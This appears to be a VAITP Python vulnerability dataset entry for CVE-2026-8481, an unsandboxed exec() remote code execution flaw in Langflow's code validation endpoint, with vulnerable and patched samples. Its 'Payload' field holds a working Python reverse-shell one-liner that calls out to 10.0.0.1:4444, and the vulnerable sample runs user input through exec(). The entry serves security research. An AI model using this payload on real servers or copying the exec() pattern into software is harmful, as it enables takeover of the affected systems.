VAITP Dataset

← Back to the dataset

CVE-2026-8481

RCE in Langflow's code validation API via unsandboxed Python execution.

  • CVSS 9.9
  • CWE-94
  • Input Validation and Sanitization
  • Remote

IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the code validation API endpoint. The POST /api/v1/validate/code endpoint accepts user-supplied Python code and executes it directly using Python's built-in exec() function without sandboxing, input validation, or privilege restrictions, enabling any authenticated user to execute arbitrary system commands with the full privileges of the Langflow server process.

CVE
CVE-2026-8481
CWE
CWE-94
CVSS base score
9.9
Published
2026-07-17
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
IBM Langflow
Fixed by upgrading
Yes

Solution

Upgrade to IBM Langflow OSS version 1.11.0 or later.

Vulnerable code sample

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
import io
import sys
import contextlib

app = FastAPI()

class CodeValidationRequest(BaseModel):
    code: str

@app.post("/api/v1/validate/code")
def validate_code(request: CodeValidationRequest):
    """
    Vulnerable endpoint that executes user-supplied code without sandboxing.
    """
    code_to_execute = request.code
    output_buffer = io.StringIO()

    try:
        # The vulnerability is here: executing untrusted code directly.
        # An attacker can submit malicious code, e.g.,
        # {"code": "import os; os.system('id')"}
        with contextlib.redirect_stdout(output_buffer):
            exec(code_to_execute, {})
        
        output = output_buffer.getvalue()
        return {"is_valid": True, "result": output}
    except Exception as e:
        # Return the exception to the user, which can also leak information.
        error_output = output_buffer.getvalue()
        raise HTTPException(
            status_code=400,
            detail=f"Error executing code: {str(e)}\nOutput:\n{error_output}"
        )

Patched code sample

import ast

def fixed_validate_code(code: str) -> dict:
    """
    Represents the fixed code validation logic for the API endpoint.
    Instead of using the dangerous exec() function, this version uses
    Python's 'ast' (Abstract Syntax Tree) module to safely parse the
    code. ast.parse() checks for valid Python syntax without executing
    the code, thus preventing remote code execution vulnerabilities.
    """
    try:
        ast.parse(code)
        # If parsing succeeds, the code is syntactically valid.
        return {"valid": True, "detail": "Code has valid syntax."}
    except SyntaxError as e:
        # If parsing fails, the code is syntactically invalid.
        return {
            "valid": False,
            "detail": f"Syntax Error: {e.msg} at line {e.lineno}, offset {e.offset}.",
        }
    except Exception as e:
        # Catch any other potential parsing-related errors.
        return {"valid": False, "detail": f"An unexpected error occurred: {str(e)}"}

Payload

{"code": "import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.1', 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"}

Cite this entry

@misc{vaitp:cve20268481,
  title        = {{RCE in Langflow's code validation API via unsandboxed Python execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-8481},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-8481/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::